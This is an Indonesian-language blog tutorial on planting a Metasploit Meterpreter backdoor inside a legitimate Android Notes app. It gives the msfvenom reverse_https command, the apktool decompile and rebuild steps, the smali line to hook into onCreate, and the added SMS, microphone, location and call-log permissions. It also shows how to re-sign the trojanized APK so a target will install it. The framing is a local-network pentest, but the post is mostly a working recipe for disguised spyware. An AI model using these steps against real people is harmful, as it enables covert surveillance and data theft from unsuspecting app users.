Sunday, November 13, 2016

[Android,Security] Penyisipan Backdoor pada Aplikasi Android .apk

Perkembangan Teknologi OS Smartphone
Teknologi smartphone sekarang semakin berkembang dengan pesat, dimulai pada era tahun 2005an dengan mengusung sistem operasi berbasis java symbian menjadikan telpon genggam yang hanya tidak hanya bisa melakukan telpon maupun mengirim pesan sms, namun layanan multimedia seperti menonton video, mendengar musik bisa didapatkan dalam genggaman melalui smartphone, sehingga dalam kurun waktu yang sangat singkat perubahan semakin banyak kita jumpai, beberapa smartphone sekarang mengalami berbagai macam perubahan dari lingkup sistem operasi yang tenar sekarang yaitu sistem operasi berbasis Android.
Android sendiri menggunakan kernel linux,artinya sama seperti sistem operasi linux pada umumunya namun dari segi arsitektur hardware pendukung yang berbeda. Untuk segi aplikasi ataupun software yang tersedia untuk platform Android sendiri sangatlah banyak, bisa kita lihat sendiri di Google Play Store yaitu tempat android apps bisa kita install dalam smartphone Android kita, yang menampilkan hampir jutaan apps,baik berbayar maupun yang gratis. dan sekarang pihak Android sendiri membebaskan para programmer untuk mendevelop apps sendiri melalui Android Studio dan Android Development Kits (ADK).

Sisi Keamanan Android
Dalam perkembangan Android sendiri, keamanan menjadi faktor yang sangat penting, dikarenakan dengan OS yang bisa di-”Oprek”, yang berarti segala isi dalam OS android bisa kita lihat strukturnya,sehingga untuk para cracker menjadi suatu hal yang sangat “menguntungkan” dalam hal melakukan aksi pada target tertentu. Tidak hanya masalah OS sendiri, beberapa apps Android sendiri bisa dengan mudah dibuat, dapat disisipkan dengan code malware, backdoor, sehingga apps yang tadinya sebuah game, namun dalam sistem background apps tersebut menjalankan aktivitas dari malware, sehingga cracker dapat melakukan spionase, pencurian data penting, bahkan bisa menjadi botnet.

Penyisipan backdoor dalam Aplikasi Android.
pada kali ini, tutorial ini dilakukan proses penyisipkan backdoor menggunakan hasil generate apk dari framework Metasploit pada apps Android yang sudah ada. Skenario yang akan digunakan, banyak apps android yang bisa di-download tanpa melalui Google Play Store, dan kita akan aplikasi yang sangat sederhana saja, yaitu Notes sederhana pada situs penyedia apk lainnya(apkpure) dan selanjutnya apps tersebut disisipkan dengan hasil generate backdoor menggunakan metasploit. Setelah mendapatkan apps berupa format apk, maka hal yang perlu dilakukan antara lain :

  • Men-generate Meterpreter payload .apk melalui metasploit msfvenom
  • Melakukan decompile payload .apk dan apps original .apk
  • Copy file pada payload .apk ke apps original .apk
  • Menyisipkan file link backdoor ke dalam proses activity pada apps original .apk
  • Melakukan penyisipan permission dalam AndroidManifest.xml file
  • Re-compile apps original .apk
  • Daftarkan apk menggunakan Jarsigner

Beberapa poin tersebut, intinya adalah file meterpreter payload yang sudah dibuat dengan apps original.
  • Men-generate Meterpreter payload .apk melalui metasploit msfvenom
Hal pertama kita lakukan adalah membuat file meterpreter menggunakan metasploit, dalam hal ini untuk target menjadi bagian satu network dengan attacker/cracker, artinya alamat IP yang akan digunakan oleh cracker menjadi dalam sub-bagian alamat IP target (note: percobaan ini dilakukan pada jaringan menggunakan alamat IP local/private). Untuk command meterpreter payload antara lain.

msfvenom -p android/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=4895 -o apkpayload.apk

Untuk reverse_https merupakan type payload yang digunakan, beberapa opsi untuk payload, antara lain reversetcp,reverse_http dan reverse_https, dalam pengujian ini digunakan reverse_https. Untuk LHOST merupakan alamat IP cracker/hacker, pastikan kita terhubung dengan network,dan mendapatkan alamat IP dengan mengetikan.

ifconfig

Dan akan mendapatkan informasi alamat IP yang akan digunakan.


Sedangkan untuk LPORT adalah port yang akan digunakan untuk koneksi antara payload penyerang dengan target. Setelah command meterpreter dilakukan maka payload akan terbuat dengan nama file apkpayload.apk

Pada gambar di atas dijelaskan proses meterpreter payload sudah dibuat.
  • Melakukan decompile payload .apk dan apps original .apk

Dalam poin ini apps android yang digunakan adalah notes.apk yang selanjutnya akan dilakukan decompile menggunakan APKTool, pasti kan APKTool sudah terinstall. 


Proses decompile pada apk bisa kita lihat file dari apk tersebut, berupa .smali file dan .xml file. Berikut command yang dilakukan 

apktool d -f -o Notes_Original notes.apk


Keterangan untuk gambar di atas apk file yaitu notes.apk akan diekstrak menggunakan apktool dan menjadi output Note_Original

Untuk selanjutnya lakukan decompile file apkpayload.apk yang sudah di-generate dari meterpreter payload dengan command sebagai berikut.

apktool d -f -o payload apkpayload.apk

Pada command yang dilakukan adalah apkpayload.apk yang sudah di decompile akan berada pada direktori payload.


Setelah dilakukan tahapan decompile, selanjutnya dilakukan proses peng-copy-an file dari payload kedalam direktori Notes_Original. 
  • Copy file pada payload .apk ke apps original .apk

Pada proses ini, copy file dari payload ke direktori original .apk, yaitu untuk file payload berapa pada payload/smali/com/metasploit/stage/ file .smali merupakan file payload yang digenerate oleh meterpreter, 


selanjutnya paste pada direktori pada direktori .apk original yaitu Notes_Original, sehingga pada direktori apk Notes_Original seperti pada gambar berikut.


Pastikan direktori metasploit, di paste dalam direktori original apk.
  • Menyisipkan file link backdoor ke dalam proses activity pada apps original .apk

Tahapan ini merupakan penambahan source code yang akan digunakan pada MainActivity di direktori apk original terdapat pada NotesOriginal/smali/com/bigtexapps/notes/, kemudian cari kata kunci berikut 

;->onCreate(Landroid/os/Bundle;)V

Maka tambahkan source code pada baris berikutnya.

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Seperti pada gambar berikut.

  • Melakukan penyisipan permission dalam AndroidManifest.xml file

Permission pada AndroidManifest.xml, akan dimanfaatkan oleh hacker dalam melakukan exploitasi pada target. Pada tahapan ini permission yang akan ditambahkan antra lain 

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CALL_LOGS"/>
<uses-permission android:name="android.permission.READ_LOGS"/>

Perlu diketahui para developers aplikasi android memanfaatkan Manifest Permission untuk layanan aplikasi yang dibuat.
  • Re-compile apps original .apk

Setelah dilakukan tahap-tahapan sebelumnya, tahapan ini adalah melakukan proses re-compile direktori apps original, yaitu Notes_Original. Berikut command yang dilakukan

apktool b Notes_Original/

Setelah berhasil melakukan re-compile, maka hasil recompile tersebut berada dalam direktori dist

  • Daftarkan apk menggunakan Jarsigner

Lakukan aktivasi/daftar apk yang sudah di-recompile menggunakan jarsigner, melalui command berikut.

jarsigner -keystore /home/twster/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /home/twster/RESEARCH/ANDROID\ BACKDOOR/PENGUJIAN-2/NotesOriginal/dist/notes.apk androiddebugkey

  • Pengujian pentest

Setelah tahapan - tahapan pembuatan backdoor sampai mendaftarkan apk, maka saat nya melakukan pentest, terhadap target, dan pastikan aplikasi tersebut terinstall pada target. Berikut beberapa hal yang dilakukan oleh attacker.



Terima kasih, semoga bermanfaat.
referensi :
http://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/

No comments:

Post a Comment